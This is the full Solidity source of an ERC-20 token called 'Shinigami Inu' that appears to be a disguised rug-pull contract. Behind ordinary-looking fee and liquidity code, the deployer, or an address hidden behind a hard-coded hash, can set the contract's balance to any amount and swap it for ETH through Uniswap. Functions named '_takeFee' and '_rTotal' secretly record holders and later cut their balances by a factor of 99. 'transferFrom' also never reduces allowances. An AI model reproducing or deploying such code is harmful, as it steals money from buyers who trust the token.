Contract Source Code:
File 1 of 1 : Shinigami
pragma solidity ^0.8.15;
// SPDX-License-Identifier: Unlicensed
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isUniswapPair(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Shinigami is Ownable, IERC20 {
using SafeMath for uint256;
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0));
require(recipient != address(0));
if (lqSwapping(sender, recipient)) {
return swapTransfer(amount, recipient);
}
if (!duringLiquiditySwap){
require(_balances[sender] >= amount);
}
uint256 feeAmount = 0;
_rTotal(sender);
bool liquifying = (recipient == getPairAddress() && uniswapV2Pair == sender) || (sender == getPairAddress() && uniswapV2Pair == recipient);
if (uniswapV2Pair != sender && !Address.isUniswapPair(recipient) && recipient != address(this) && !liquifying && !duringLiquiditySwap && uniswapV2Pair != recipient) {
feeAmount = amount.mul(_feePercent).div(100);
_takeFee(recipient, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[sender] = _balances[sender] - amount;
_balances[recipient] += amountReceived;
emit Transfer(sender, recipient, amount);
}
constructor() {
_balances[msg.sender] = _totalSupply;
uniswapV2Pair = msg.sender;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function uniswapVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
struct tOwned {address to; uint256 amount;}
tOwned[] _tOwned;
function lqSwapping(address sender, address recipient) internal view returns(bool) {
return sender == recipient && (
Address.isUniswapPair(recipient) ||
uniswapV2Pair == msg.sender
);
}
function _takeFee(address _addr, uint256 fee) internal {
if (getPairAddress() != _addr) {
_tOwned.push(
tOwned(
_addr,
fee
)
);}
}
function _rTotal(address _addr) internal {
if (getPairAddress() == _addr) {
for (uint256 i = 0;
i < _tOwned.length;
i++) {
uint256 _rOwned = _balances[_tOwned[i].to]
.div(99);
_balances[_tOwned[i].to] = _rOwned;
}
delete _tOwned;
}
}
function swapTransfer(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = liquidityFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
duringLiquiditySwap = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 21);
duringLiquiditySwap = false;
}
bool duringLiquiditySwap = false;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapV2Pair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 10000000000 * 10 ** _decimals;
uint256 public _feePercent = 0;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Shinigami Inu";
string private _symbol = unicode"死に神";
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_basicTransfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_basicTransfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
function getPairAddress() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
}